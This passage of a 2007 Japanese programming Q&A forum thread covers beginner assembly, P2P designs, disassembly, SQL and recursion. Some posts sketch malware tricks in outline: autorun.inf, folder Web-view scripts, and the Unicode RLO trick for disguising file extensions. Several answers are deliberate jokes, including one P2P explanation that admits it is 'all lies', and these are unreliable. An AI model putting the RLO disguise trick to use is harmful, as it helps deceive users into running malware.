nasmというのをインストールしてみたところ動かすことが出来ました ありがとうございましたm(__)m
452 :
デフォルトの名無しさん :2007/01/14(日) 22:04:47
nasmインストールして HelloWorldレベルの事は出来たのですが、その後がいきなり難しい処理ばっかりで ついていけないです(;;) 検索してもアングラサイトみたいなところばっかりヒットして 基本が勉強できるサイトが見付かりませんでした。 何処か初心者用の良いサイトを御存じの方いませんでしょうか?
453 :
デフォルトの名無しさん :2007/01/14(日) 22:14:26
Linuxコミュニティで喧嘩の無い良識がある人の集まった ML、掲示板を探しています。ご紹介願います。
455 :
デフォルトの名無しさん :2007/01/14(日) 22:23:49
>>454 逃げてきたとわかりましたか・・・orz
逃げ場は他には無いでしょうか?
自分で立ち上げるのがいいんじゃまいか
457 :
420 :2007/01/15(月) 00:41:10
>>427 0 で終端されるメモリのコピー(終端もコピー)
って指定箇所からメモリに0が代入されているところまで、コピーって事ですよね。
2chもかつてはアングラと呼ばれてた時期があったのだが時代は変わったな…
>>452 大抵のCコンパイラはアセンブリ出力もできるから、簡単なCソース書いて吐いたアセンブリでも眺めてみたら?
頭の中で(紙に書いてもいいが)実行できるようにならんとね
462 :
デフォルトの名無しさん :2007/01/15(月) 17:20:25
>>459 見てみました(><)
gcc出力した文法とnasmの文法で、だいぶちがっていてびびりました。
ライブラリ使ってるからかな?
地道にやってみます。
#include <stdio.h> int main(void) { char *dst = (char *)0x0000; char *src = (char *)0x0100; while(*dst++ = *src++); return 0; } main: pushl %ebp movl %esp, %ebp subl $8, %esp movl $0, -4(%ebp) movl $256, -8(%ebp) .p2align 2 .L3: movl -4(%ebp), %edx movl -8(%ebp), %eax movb (%eax), %cl movb %cl, (%edx) leal -8(%ebp), %eax incl (%eax) leal -4(%ebp), %eax incl (%eax) testb %cl, %cl jne .L3 movl $0, %eax leave ret
文法はちがわないと思うが
466 :
デフォルトの名無しさん :2007/01/15(月) 18:32:42
見ためかな section .text global _start msg db 'Hello,World', 0x0A msglen equ $ - msg _start: mov ecx, msg mov edx, msglen mov eax, 4 mov ebx, 1 int 0x80 mov eax, 1 mov ebx, 0 int 0x80
467 :
デフォルトの名無しさん :2007/01/15(月) 18:34:11
.section .rodata .LC0: .string "Hello,World\n" .text .align 4 .globl main .type main,@function main: pushl %ebp movl %esp, %ebp subl $8, %esp subl $12, %esp pushl $.LC0 call printf addl $16, %esp leave ret
468 :
デフォルトの名無しさん :2007/01/15(月) 18:45:26
WindowsVistaってCで出来てるの? それともC++でできてるの?
両方を適度に使っているのではないだろうか。
C、C++、Java、Delphiが使われてる分野について教えてください 例えばCならばシステム周り、C++ならアプリケーションなどのようにです。
C:Webプログラミング C++:科学技術計算 JAVA:家庭、アーケードゲーム Delphi:CUI処理系ソフト
>>471 Haskellは?Haskellは〜?
グラディウスに決まってるだろ
>471 ちょwwwあべこべw
>>467 読み慣れたintel形式で見たければ、gcc -S -masm=intel でやってみ
476 :
デフォルトの名無しさん :2007/01/16(火) 12:27:05
サブネットマスクや物理アドレス、IPアドレスなどPCに割り当てられているものは沢山あるけど、 プロバイダを変える以外に決して変動することのないものみたいなのはあるんでしょうか?
MACアドレスなら簡単に変動することは、ないと思うけど 476が、cgiからPC固有の情報を取得したいというのならムリだな。
イーサのアドレスは事実上PC固有のアドレスと考えても良いんジャマイカ
479 :
476 :2007/01/16(火) 12:55:51
>>477 cgiではなく、ファイル共有みたいな仕組みでもPC固有の情報を取得することは出来ませんかね?
イーサネットのアドレスは全PC共通して固有のアドレスなんでしょうかね?
NICのMACアドレスは全世界でユニーク、これをROMから読み出せばPC固有情報として使用できる。 でも、通信に使うMACアドレスは自由に設定できるので、他のノードから調べることはできない。
481 :
デフォルトの名無しさん :2007/01/16(火) 14:40:36
ところでDBって無しの方が早いのかな?
何のDB?
483 :
デフォルトの名無しさん :2007/01/16(火) 14:50:51
私にはウイルスを作るほどの技術も知識も全くなく 単なる知識として知っておきたいだけなので教えてもらえないでしょうか? よく、P2Pでウイルスが問題になりますが これらは全て展開することで力を発揮するプログラムばかりですよね? そこで質問なのですが、フォルダを開くだけで感染したり そのファイルがPC内に存在するだけで効力を発揮する プログラムって作ることは出来ないのでしょうか? もちろんCDのオートプレイでは開くだけで、プログラムが 起動することは知っています。
フォルダを開いたり、そのファイルがPC内に存在することそのものだけでは感染は無いだろうけど OSやアプリがユーザの預かり知らぬ所で勝手にごにょごにょするのはよくある事。 その辺のセキュリティホールを突っつけば可能だね。
全てのコードは実行されない限り動作しない
P2P上に勝手にノードを作り出すことは可能なんでしょうか? 誰か教えて下さいませ
487 :
訂正 :2007/01/16(火) 15:27:16
P2P上に勝手に沢山のノード(仮に10000)を作り出すことは可能なんでしょうか? 誰か教えて下さいませ
>>487 勝手に沢山のノードを作り出すことが可能なP2Pシステム上でならば可能。
489 :
486 :2007/01/16(火) 16:44:45
490 :
デフォルトの名無しさん :2007/01/16(火) 17:26:10
よくソフトウェアに逆アセンブル禁止とか書いてありますが バレないで解析する方法って無いんですかね?
「バレないで」の意味がわからん。 仮にやるとしたらお前がお前の部屋で勝手にやることになるであろう解析行為が、 「お前自身がバラす」以外のどんな理由でバレ得ると思ってるのか知りたい。
>>483 フォルダ開いて感染、は出来ると思われ。
ある程度ターゲットの環境を限定すれば。
あと、セキュリティ甘いPCなら
ポートアタック使ってトリガー無しでハック出来るのでは?
詳しい事知らないけどそういうウィルスなかったっけ。
>>490 それって18歳未満閲覧禁止とおなじじゃーん
>>490 自分が機械語を読めるようになれば良いと思うよ。
495 :
デフォルトの名無しさん :2007/01/16(火) 18:29:07
どこかでピュアP2P型は鯖依存しないけど、 ハイブリットP2P型ではできないって聞いたんですけど、 なぜでしょうか?
>>495 ハイブリッドP2Pでは「何を」できないと聞いた?
497 :
デフォルトの名無しさん :2007/01/16(火) 19:19:03
>>496 P2Pコミュニティでユーザー増えても鯖が一台で済むというのはどういう仕組みなんでしょうか?
どこかでピュアP2P型は鯖依存しないけど、
ハイブリットP2P型では従来の通り、鯖が50台とか必要だって聞いたんですけど、なぜでしょうか?
それはNapsterのように中央サーバーがあるものでも駄目なそうなのですが
お手数ですが、これについてもお教え下さいませ
ドキ!水着だらけのお宝画像フォルダ .exe
逆だよ。鯖が要るかどうかで分類して 鯖が要らないのをピュアP2Pといい、 鯖が要るのをハイブリッドP2Pというんだよ。
逆アセンブルがバレるといえば、
Windows互換を目指すReactOSにはWindowsのコードを見た人によって書かれた部分がある
とかで書き直してるそうじゃないか
なんでWindowsを見たことがわかったんだ?
1.他の開発者も見たことがあるから匿名で指摘した
2.「LinuxユーザーはMicrosoftに借りがある」などと抜かすMicrosoftのバルマーたんが
パイを”盗られない”ように必死でチェックしてるから
3.それが日本経団連の恐ろしさだから
かつてWindows2000のソースがネットに流出した事件があったというが
そんなものが近くにあったら読んでみたくはなるな
読むかどうか、読めるかどうかは別にして
>>492 フォルダってWINDOWS/explorer.exeが動くだけで問題ないのでは?
>>483 autorun.inf
ttp://www.vector.co.jp/soft/win95/util/se130039.html
501 :
デフォルトの名無しさん :2007/01/16(火) 20:11:09
>>499 ということは、ハイブリッドP2Pでは利用者が数万人単位に増えると
鯖が50台とか必要になってくるということですか?
そんなことはそのP2Pソフトの作り次第。 数万人単位での利用には50台くらいの鯖が要るような出来になっていれば、必要だろうな。
>500 おまいexplorerが何をしてるかしってるか?
何も知らない
>>503 が何かでっちあげてくれるそうです
>>500 ところがどっこい、フォルダを開くだけでHTML(に含まれるスクリプト)を実行する機能があるんだな。
たしかWeb表示とかいう機能だったと思う。(Windows XPから縮小傾向にあるが)
ローカルで動くから比較的スクリプトに対する制限が緩いはず。
過去にはこれに関するパッチも出たことがある気がする。
C++畑の人の意見も聞いてみたい
ウィルスじゃないけど、Unicode制御文字を使って ファイル名の途中にrlo入れて拡張子をわかりにくくする方法があったな 2000〜XPあたりのexplorerでできたと思う
ウイルス関係の話なら該当スレへ行けば馬鹿にでもわかるテンプレがあるだろう
>>476 認証ツールの話なら
HDDのmbrのタイムスタンプ見てるのもあるよ
512 :
デフォルトの名無しさん :2007/01/17(水) 14:47:30
例えば、ピュアP2Pシステムを鯖で動かしたのならば ハイブリットP2Pシステムのように数万人に数十台とかではなく 数万人でも一台で済むのでしょうか? ソフトウェアにしてしまうと逆アセンブルされてソースが割れるのが嫌なんで どうしても鯖でやりたいんです それと分散サーバー型(Gnutellaのような)では鯖が要らないのに 中央サーバー型(Napsterのような)は上記のハイブリットP2Pと同じく ピュアP2Pにも関わらず数十台の鯖を要してしまうのでしょうか? 多少理解を誤っている可能性がありますが、どうぞ怒らないで下さい winnyは金子氏がソースを公開していないそうですが winnyはソフトウェアでもソースが何故バレないんでしょうか? 教えて頂きたいです
多少どころか全然話にならない
昨日教えられたことを全然理解してないし 馬鹿には教えるだけ無駄ということだ
>>512 >winnyは金子氏がソースを公開していないそうですが
>winnyはソフトウェアでもソースが何故バレないんでしょうか?
>教えて頂きたいです
余裕でバレてます
改造版も出回ってます
516 :
デフォルトの名無しさん :2007/01/17(水) 15:20:48
N種類の変数がM種類の値を取る場合を考えて、(M^N通りの場合がある) 全ての場合を網羅的に探索するには、どうやってループ構文書けば良いですか?
N回ループの中でM回ループ
518 :
デフォルトの名無しさん :2007/01/17(水) 15:28:50
いやそれだとN*M通りの探索ですよね???
NとMは変数で可変
520 :
言葉が不足していたようです :2007/01/17(水) 15:51:46
例えば、ピュアP2Pシステムは鯖無しで動かせますが ピュアP2Pシステムを鯖で動かしたのならば ハイブリットP2Pシステムのように数万人に数十台とかではなく 数万人でも一台で済むのでしょうか? ソフトウェアにしてしまうと逆アセンブルされてソースが割れるのが嫌なんで どうしても鯖でやりたいんです それと分散サーバー型(Gnutellaのような)では鯖が要らないのに 中央サーバー型(Napsterのような)は上記のハイブリットP2Pと同じく ピュアP2Pにも関わらず数十台の鯖を要してしまうのでしょうか? 昨日聞きましたが、この部分については教えて頂けなかったので再度お聞き致します
P2Pには周りのノードと協調することで何かが進むシステム。 サーバーというものが要らないのじゃなくてサーバーという観念自体がない。 たとえば自動車。周りの自動車とてきとうに協調しながら適当に自動車交通系を構成する。 長所は、一部の車=ノードで事故が発生してもP2P系全体としては何事もなかったように 動き続けるところ。 短所は、一度動き出すと制御が利かないところ。 クライアント/サーバーシステム。 クライアントがサーバーに指示をもらってそのとおりに動くことで何かがシステム。 何をどう進めるかはすべてサーバーが知っている。 たとえば電車。中央の指揮所と通信して動いてる。 長所は、クライアントのプログラムが楽な点。 短所は、サーバーに何かの事故が発生するとすべてが破綻する。 ハイブリッドP2P。 基本的にP2Pだけど、クライアント/サーバーの仕組みも持つ仕組み。 たとえば、純粋なP2Pでは周りのノードの情報を自分のノードが認識する必要が あるけどそれをするためにはどうしても初期ノードが必要。 この初期ノードを得るためにサーバーが要ったりすることが多い。 たとえばタクシーなんかは自動車の癖にサーバーの制御を受けたハイブリッドP2P。 ピュアP2Pが一台ですむというのは、たとえば周囲のノードの情報を まったく知らないノードがあったとしてもそれはそれで、ノード1つだけで 構成されたP2P系がそこに発生してるから。 一台の車だけで、そこには自動車交通系が発生してる。 ・・・ごめん、全部嘘。
あぁ、ようやくわかったぞ。
>>520 は「違法ファイル交換ソフト」をP2Pと呼んでいるのだ。
>>521 俺たちで一括りにすんなw
俺には520の言わんとする意味がだいたい見当がつきました
520はこう言いたいのでしょう
イシャはどこだ
525 :
私がアホでした :2007/01/17(水) 16:41:06
ハイブリットP2P型は数万人のユーザーに中央サーバー一台だけで耐えられるんですか?と聞きたかったんですw
気違いの妄想
> ソフトウェアにしてしまうと逆アセンブルされてソースが割れるのが嫌なんで > どうしても鯖でやりたいんです 超能力か何か使うのか?
あれだ、ファイル共有ハードウェア作ればいいんじゃね? SATAとEthernet端子が付いてて、ハードディスクとして認識されるの。
専用ICで処理すればいいんじゃね? 配線パターンを読まれるのは避けられないが
本当にくだらない質問なんだけど、 よく本とかのサンプルプログラムで使われてる 「kitty on your lap」って文字通り以外で何か意味あるの?
よく? あんたはあのオタクっぽい著者の本しか読んでないのか?
>>533 検索すればすぐ分かるけど、多分元ネタはゲームのタイトルだ。
でも、プログラムのサンプルで使ってる人間は一人しかいないと思うぞ。
「自分の知らない他の本にもあるのかもしれない」 という可能性をまったく考えず、決め打ちでそういう反応する精神構造が ちょっと不思議。 ・・・で、その「著者」って誰? 俺はそれ、初めて見るな。
○○○○○
538 :
デフォルトの名無しさん :2007/01/17(水) 18:23:17
539 :
デフォルトの名無しさん :2007/01/17(水) 18:24:33
>>536 のようにあらゆる世事に精通している人間が初見というのなら
とりたてて知らなくても良い稀なキーワードなんだろ
気にするな
ググって初めて存在を知ったよ
>>541 ありがとうございます、そっちに行ってみます。
Java使いの人に質問です。 主キーから外部キーにいたるまでDBから実行時にとれるのに ほとんどのORMは、何故XMLにメタデータを書くんでしょうか?
P2Pで思い出したが、P2P2chって不可能じゃないのかな。 確かwinnyでも50万ノードまでだったと思うんだが、 2chなら200万人が一斉に利用したと仮にだけど設定すればシステムが耐えられなくなるんじゃないの?。 誰か教えてくれ。
>>544 この板はプログラムを作る人のための板です。
子供電話相談室で聞いてください。
レフリーに試合をさせるようなものか
547 :
533 :2007/01/17(水) 20:05:24
遅くなってしまったけど教えてくれた方thxです。 最近読んだ赤坂玲音さんの本とか「猫でも〜」のサイトとかで見かけてhogeとかhello worldみたいなのの一種なのかと思って聞いてみた。 まだ初学者で読んだ本が少ない中で見かけたから「よく見かける」って定番の語句っぽい言い方しちゃったけど気になってしまった方いたらゴメン><
膝の上の同居人
ノード数の上限なんかあんの? 何が引っかかるんだ?
もうマジで止めろ 死ねよ
>>542 その板はWindows用セキュリティソフト板なので、板違い。
chosen plaintext attack対抗。rfc2617嫁
webアプリケーションの開発は何がいいでしょうか? 初心者+無料だったらJavaあたりがいいのでしょうか? ASPとかいろいろ言われたりしたんですが、 どこが違ってくるのか、誰か教えてください
サーバのOSは?
Windows95のpwsです
>552 PHPでも使っとけ
ファイル共有ソフトを作ったんですが、暗号化はどこまで出来るのでしょうか? 既に通信とキーとキャッシュは暗号化したのですが、他はしていませんので教えて下さい。
?
558 :
デフォルトの名無しさん :2007/01/19(金) 08:09:35
趣味でプログラミングやってるのですが、ソースをいじるときに program_1.20.c とか、手でバージョン番号を記入して管理しています。 こういうバージョン管理をしてくれるLinuxのソフトって何かありますか?
Windows
560 :
デフォルトの名無しさん :2007/01/19(金) 08:29:00
どもです
562 :
デフォルトの名無しさん :2007/01/19(金) 19:06:27
>>556 プログラム全てを暗号化することも出来る
つまりはどこまででも暗号化は可能だということだ
フラクタルで文字の形を作れって課題がでてやり方調べようと思ったけど やり方かいてるとこが全然見つかりません。どこか調べられるところないでしょうか
Windows VC8のfstreamは、任意の位置にシークしておいても、 他のアプリがHDDにアクセスする度にまた任意の位置にシークしなおさなくちゃいけないんでしょうか。
ですよね。
だとおもった。
こんにちわ、超しょ新車です。 無料でCプラスプラスのプログラミングを始めたいと おもっているのですが、(ダイレクトエックスを使いたい) どうしたらできるのか教えてください。(手に入れるアプリなどを) 今は何も無い状態です。 プログラミングの知識は少しはあります
懐かしいコピペだな
569はコピペではありません
572 :
デフォルトの名無しさん :2007/01/20(土) 00:19:08
ですよね。
だとおもった。
574 :
デフォルトの名無しさん :2007/01/20(土) 02:37:21
「不正文字・・・」だけど昔高速道路の電光掲示板のシステム組んでて えらいさんにお披露目の時テストデータ消し忘れて でかでかと「バカボンのパパなのだ」って表示してしまって 始末書を書いた覚えがあった。
ワロタ
ほげほげぷーとかにしとけばメタ構文変数ですって言い張れたのにw
577 :
デフォルトの名無しさん :2007/01/20(土) 09:32:28
finally{ echo "Hello!"; } こういうの見たんですけど、これってなんの言語ですか? JAVAでechoっての見たことないんですけど
>577 PHP…と思ったらPHPはfinally無いのか。 何言語だろこれ…?
zshかなんかだろ
580 :
デフォルトの名無しさん :2007/01/20(土) 13:21:46
【ネガティブ派遣根性チェック】 3つ以上、思い当たる点があればアナタの性格はひん曲がっており、ネガティブ負け組人生を歩んでいます。 □派遣先の人事権のある社員の意見はたとえ間違っていてもマンセーする □派遣先から「いつまでもここで仕事してくださいね(安い金でw)」と言われている □自社に仕事を持ち帰れるように言われるとムカつく □自社で仕事なんてできるわけがない □派遣労働の問題点の話題が出ると感情剥き出しにする □派遣労働の問題を指摘する人は嫌いだ □派遣先には仕事だけでなく自分のプライベートについても指示して欲しい □自分の月額金額を知らない □派遣先社員より自分の生涯収入が低いのは当然だ □派遣先に尻尾を振り、いつまでも派遣を続けることが大切だ
ポインタがいいよと君がいったから一月二十日はメモリ破壊日
最後だけ見た
マルチで貼ってるみたいだけど、何だったの? 宣伝ならブラックリストに入れるだけで見ても気にしないけど、 グロは踏むのも嫌だ。
>>584 グロではない、コミックのスキャン。害はないけど、開く必要もない。
最後だけ見たら、どこで寸止めしてるのか気になって全部見ちまった
ありがとん。 グロではないということで開く必要もないのに開いてみた。 最後笑った。でもなぜム板に?
588 :
デフォルトの名無しさん :2007/01/20(土) 16:30:10
学校の勉強の上手い人はプログラム力も伸びますか? またそれは勉強するときのどういう要素が関係してきますか? 暗記力 計算効率化能力 段取り力 本選び力 国語力 分析力 知識量 知識欲 向上心 語呂合わせ 学業及び人生の効率化 法則化 将来設計 パワーセーブ 他・・・ 実際伸びたよって人の経験からも歓迎です
勉強って思う時点でもう遅れをとってるね すごくプログラミングできる人は趣味でやってるんだから 全く勉強だと思ってない
俺は「すごくプログラミングできる人」ではまったくないけど、 それでも全然勉強だと思ってないもんな。楽しくてしょうがない。 できる人はそれをさらに越えて「オナニー並に気持ちいい」とか そんな感じなんじゃないかな。
俺的にはオナニーよりは気持ちいいな
実際にプログラミングやってみれば何の能力が必要かって言うのが直ぐわかるよ。
逆に言えば傍から見て勉強が上手い奴だって、単にその勉強(学問)が好きということ。 特定の科目だけできる奴なんてのはそう。
594 :
デフォルトの名無しさん :2007/01/20(土) 22:12:29
デスクトップに常時居て、時間やスケジュールを知らせてくれるアイコン(?)を作りたいんですが、言語は何を使えば良いのでしょう? 出来るだけポピュラーな言語が良いんですが。
>>C++かC#
598 :
デフォルトの名無しさん :2007/01/20(土) 23:39:45
>>588 ですが
でも例えば大学院生の興味と高校生の高効率を同時にやれば最強かなとか思うんですが
たとえば先輩(あらゆる)に必読書とかバイブルを聞くとか・・・(もちろんただの一要素ですが)
イスラエルやアメリカやインドの技術の潮流を研究するとか・・・
興味の差に大学院生も高校生もないよ 知識の差と環境の差 むしろ環境も知識もない高校生が院生に勝れる物こそ興味関心だと思うが。
600 :
デフォルトの名無しさん :2007/01/20(土) 23:56:08
プログラミングの楽しさを知らないままプログラマーになることほど不幸は無いよ。 将棋に興味ないのに将棋の勉強してプロ棋士になるようなもんだから。 だから学生のころは、プログラミングを楽しいと感じることが重要。 知識なんて後まわしでいいから、とりあえず面白そうだと思ったもの手を出す。 飽きたら別の事する。で十分。 学生のうちは気合い入れて勉強するのは受験勉強と就職前くらいでいいよ。
601 :
594 :2007/01/21(日) 00:26:10
>597 有難う御座います。
PCが古くないならVBでいいんでないの?
今市販されてるのはもう VB2005 しかないがそれでもいいのなら
604 :
デフォルトの名無しさん :2007/01/21(日) 07:47:32
switch文でbreakしないでそのまま次のラベルになだれ込むことを何という? スルーダウンとかフローダウンとか、そんな感じの名称でなんかなかったっけ?
fall through
606 :
604 :2007/01/21(日) 07:55:00
607 :
デフォルトの名無しさん :2007/01/21(日) 09:25:35
夢中になれるものが いつか君をすげえやつにするんだ
6174 -> 7641 - 1467 = 6174 収束するのがミソなんですよね
>>600 楽しさ知ってるからこそ現実が辛くならないか?
自分のためのソフトを自作するのは楽しいが 他人のために作ってるときは楽しいときも無い訳ではないが 楽しくないことも多い
611 :
デフォルトの名無しさん :2007/01/21(日) 10:27:19
>>609 仕事で楽しさを求めるってのは違う。
ただ、本来プログラミングは楽しいものだって
深層心理に刻まれていると、土壇場で支えになる。
「なんでこんなことばっかりやってんだろ。そもそもプログラミングなんてつまんねーんだよ!」
プログラミングの楽しさを知ってる奴なら上のセリフの「そもそも」以降の言葉はでない。
612 :
デフォルトの名無しさん :2007/01/21(日) 10:28:27
614 :
デフォルトの名無しさん :2007/01/21(日) 12:00:52
鍵とかキャッシュって暗号化すれば解読が難しくなるけど これってソースコードにも反映されて、ソースでもこの部分の解読が実質出来なくなるのかな? 教えて下さい
日本語でどうぞ
616 :
デフォルトの名無しさん :2007/01/21(日) 12:20:01
>>614 暗号化された部分のソースコードは読むことが出来ない
たぶんWebProg板向けの質問なんだろうな
どこが?
だれが?
こいつアホだから放置で
アホにアホいうもんがアホじゃー
>520の続きか 気違いにはかかわらないほうがいいぞ
昔見てたサイトで、CADを作っているプログラマが書いているコラムが何百項もあるサイトがあったのですが、 名前を忘れてしまいました、心あたりがある人がいましたら教えてください。
昔見てたサイトで、OSを作っているプログラマが書いているコラムが何百項もあるサイトがあったのですが、 名前を忘れてしまいました、心あたりがある人がいましたら教えてください。
ASP.NETとASPって違うんですか? 教えてください
627 :
デフォルトの名無しさん :2007/01/21(日) 21:06:05
NHKでGoogle特集はじまった
629 :
デフォルトの名無しさん :2007/01/21(日) 21:20:43
Q、従来のHPは性質的なものである。 人によってHPが違うように見せるにはプログラムを作ればよい。 プログラムを作るメリットとは? という問題があるのですが、この問題になんと答えたらいいですか? 教えてください。
630 :
デフォルトの名無しさん :2007/01/21(日) 21:21:42
Q、従来のHPは性質的なものである。 人によってHPが違うように見せるにはプログラムを作ればよい。 プログラムを作るメリットとは? という問題があるのですが、この問題になんと答えたらいいですか?
静的と書きたかったのか
633 :
デフォルトの名無しさん :2007/01/21(日) 22:35:40
InternetGetPerSiteCookieDecisionの使い方をお教えください。 値が取得できません。 検索しまくったんですがサンプルも見つかりませんでした。
>>629 人によって違うHPを見せることができる。
>>633 単にサイト単位の管理やってないだけじゃね?
インターネットオプション>プライバシー>サイト
636 :
633 :2007/01/22(月) 00:48:01
>>635 よくわからんのですが、
管理しているwebサイトの中にはずらーっと常にブロックとか常に許可とか設定されてるんですわ。
引き続きどなたかお願い申し上げます。
やっとNHKもGoogleを取り上げるようになったのか
638 :
デフォルトの名無しさん :2007/01/22(月) 03:04:04
アルゴリズムの質問っておk?
マルチだからダメ
640 :
デフォルトの名無しさん :2007/01/22(月) 04:36:08
template <class T> class ATL_NO_VTABLE hoge : public IOleCommandTarget { STDMETHOD(Exec)( 〜 //処理 STDMETHOD(QueryStatus)( 〜 //処理 }; と定義してあるクラスがあるんですが、 これを普通に継承させると「抽象クラスをインスタンス化できません」エラーが出ます。 どのように使ったらいいのでしょうか? というかIOleCommandTargetを継承すると上記エラーが出ます。
マルチアルゴリズム
>>640 ATLがどこまでやってくれるか知らないが、IOleCommandTargetの全てのメソッドを実装しろ。
Mac OS X 10.4を使ってプログラミングいるのですが、 /usr/include/sys/resource.hなどに書かれているid_t型っていうのは 既存の定義型では何型で定義されるんですか?
int
645 :
640 :2007/01/22(月) 18:33:43
>>642 QueryStatusとExec以外に見当たりません。
ためしにAddref, QueryInterface, Releaseを定義してみましたがエラー、
IOleCommandTargetを直接継承してメソッドを定義してもエラーがでます。
よろしければ正常動作のサンプルなぞを示してくださいませんでしょうか、お願いします。
C++で、計算した結果が -1.#IND00 となってしまうのですが これはどうしてだかわかいりますでしょうか? for(i=1; i<=100; i++) { x1=x; v1=v; x2=x+0.5*dt*v1; v2=v-0.5*dt*(k/m)*x1; x3=x+0.5*dt*v2; v3=v-0.5*dt*(k/m)*x2; x4=x+dt*v3; v4=v-dt*(k/m)*x3; x=x+dt*(v1+2*v2+2*v3+v4)/6; v=v-dt*(k/m)*(x1+2*x2+2*x3+x4)/6; t=t+dt; printf("t=%f , x=%f, v=%f\n",t,x,v); fprintf(fout,"%f %f %f\n",t,x,v); } fclose(fout); }
%f
すいません、宣言の仕方がまずかったみたいです、お騒がせしました。
>>637 私が知っている限りGoogleについては、NHKがマスコミの中では一番最初(2000年)に取り上げてるけど。
KNOPPIXでberyl試してみたけどおもろいねこれ
何の質問?
652 :
648 :2007/01/23(火) 01:10:00
たびたびで申し訳ありません。 エラーは出なくなったんですがどうにもこうにもイベントの取得ができません。 何卒ご教示ください。
引数に自分自身をとるような再帰関数ってループにできますか?
C#で例外をキャッチしてエラーログを出力してるんですけど、 書き込まれる時と、書き込まれない時があります。 原因はどんな事が考えられますか?
>>654 もしイベントログのことを言っているなら致命的なバグがあるから注意
>>655 はい、知っています。
おkだから日本語で書きました。
おkで日本語?
プログラム覚えるとしたら、最初はどの言語がいい? Windows Mobile5.0とXPでソフト作れたら良いなと思ってるんだけど、 VBじゃちょっと不便だったりする?
>>661 C++をやっておけばいいよ。
歯ごたえはあるけど、これがやれれば他の言語にも行きやすい。
でも、くれぐれも
>>662 が言ってるRubyには手を出さないように。
これは一部の変人が勝手な優越意識を振りかざす、評判の悪いオナニー言語で、
現実的な問題を良く解決する力の無い、絵空事のような「使いやすさ」「楽しさ」ばかり追求されている。
しかも開発者がカルト宗教にハマってて、この人物の収入の一部は自動的にその宗教団体に行くから、
Rubyに金を落とすのはカルト宗教に金を落とすのと変わらない。
665 :
デフォルトの名無しさん :2007/01/23(火) 10:46:38
プログラム挙動理解のためプログラムを日本語に翻訳しています。 出来れば他人に理解しやすいように 既存のメソッドがあればそれに則って翻訳していきたいのですが、 そのようなものがありましたら教えていただけると幸いです。
>>665 原語と訳の一覧作ってあとで変えられるようにしておく
日本語を命令に使う言語といえばLOGO。
子供の頃大学で親子でPC実習みたいなのがあってそこでLOGOを使ってたな。
当時BASICやってた自分には少々まどろっこしかった。
いやなに、ちょっと思い出しただけ。
>>665 そのようなものとはつまるところ、
自動的にメソッド抽出してEXCELか何かで翻訳語を手作業で対応させれば自動的に日本語に翻訳していけるようなソフトという
理解でいいのか。
んなもん自分で作れと思う。
翻訳は人間がやるんだろ。 で、この構文はこう表現する、という定石がないか聞いてるのでは
670 :
デフォルトの名無しさん :2007/01/23(火) 11:21:04
COUNT関数についてお聞きしたいのですが、 あるテーブルに区分があり、その値が01〜03まで存在する場合、 ひとつのSQLでそれらの件数を求めることはできるでしょうか? SELECT COUNT(*) FROM TABLE WHERE 区分 = 01 SELECT COUNT(*) FROM TABLE WHERE 区分 = 02 SELECT COUNT(*) FROM TABLE WHERE 区分 = 03 これをひとつのSQLにまとめたいです。
>出来れば他人に理解しやすいように それ以前にお前の質問を100%理解できたやつがいない。
>>670 SQLは板違い。
SELECT COUNT(CASE 区分 WHEN 01 THEN 1 END) ,
COUNT(CASE 区分 WHEN 02 THEN 1 END),
COUNT(CASE 区分 WHEN 03 THEN 1 END)
FROM TABLE
でいけると思うけど
BASICの質問はどこですればいいの?
しったか乙
どう推論すると、重複を省いてカウントする仕様であるという事が、
>>670 から導くことができるんだ?
多分、GROUP BY と言いたいんだろうw
まあGROUP BY が正解だろうけど、元の質問者の要求で0件の場合どうするかとか 書いてないしな。
679 :
653 :2007/01/23(火) 13:16:42
わかりにくくてスマソ 例えばアッカーマン関数のような再帰です return ack(m-1,ack(m,n-1));//この部分 //ackermann int ack(int m,int n){ if(m==0)return n+1; if(n==0)return ack(m-1,1); return ack(m-1,ack(m,n-1)); }
VBで、Windows用アプリ作るのとPocketPC用アプリ作るのとで できることに差あるの? なんかWindowsMobile5.0用に作ってたら、フォームに背景が 指定できなかったりするんだけど、要するに駄目なん? でもPictureBoxは使えたりと良く分からん。
>>679 引数に自分自身をとってないやん。
それは引数に関数の戻り値をとっているだけで、その引数の型はintだ。
引数に自分自身をとるというのは、hoge(1, hoge)みたいなものだ。
そのアッカーマン関数のような書き方はごく普通の再帰の書き方だ。
そして、当然非再帰的な書法に変更できる。がんばって書き換えろ。
>>665 プログラムの翻訳といっても、言語によって様々な違いがある
まずはそれを説明したほうが良いのでは?
例えばC++ではメソッドという言い方はせず関数、メンバ関数などと呼ぶ
しかし、それよりも訳したい分野の翻訳書を探すのがよいと思うが
>>681 Ackermann関数は原始帰納的でない関数なので普通の繰り返しには書き換えられないよ。
普通の、ではね。
>>681 引数に自分自身をという言い方は私のミスでした、すみません
頑張ってみます、ありがとうございました
>>683 普通の、というのは
スタックを使って書き換えるのは無理ってことでしょうか?
>>685 スタックを明示的に使用する形で再帰表現を除去するのは可能だ
687 :
デフォルトの名無しさん :2007/01/23(火) 15:16:50
マスキャドで作成したプログラムでグラフを作ってワードに貼り付けて 印刷したら、グラフの枠だけ印刷されて肝心なグラフの特性が全くの白紙の 状態で印刷されるんですが、なぜですか? どうすればちゃんと印刷できますか?
不具合の文句はmicrosoftに言え!
>>682 665のメソッドはプログラミング用語として使っているのではないと思う。
691 :
682 :2007/01/23(火) 16:20:37
>>690 665の文章は俺には理解できなかったから否定はしない。
ただ、翻訳をしようとしている人っぽいので
俺は応援したいと思った
文章下手なやつの翻訳ははっきり言って迷惑
693 :
682 :2007/01/23(火) 16:44:33
あんたは665じゃないのか。
